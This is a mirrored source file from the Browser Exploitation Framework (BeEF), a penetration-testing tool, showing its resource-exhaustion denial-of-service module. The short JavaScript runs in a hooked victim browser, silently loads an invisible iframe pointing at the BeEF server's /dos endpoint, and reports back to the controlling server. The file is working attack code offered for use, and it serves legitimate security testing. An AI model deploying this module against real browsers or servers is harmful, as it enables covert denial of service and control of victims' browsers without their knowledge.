Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/resource_exhaustion_dos/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe();
9
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos';
10
resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url);
11
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
12
});
13
14
15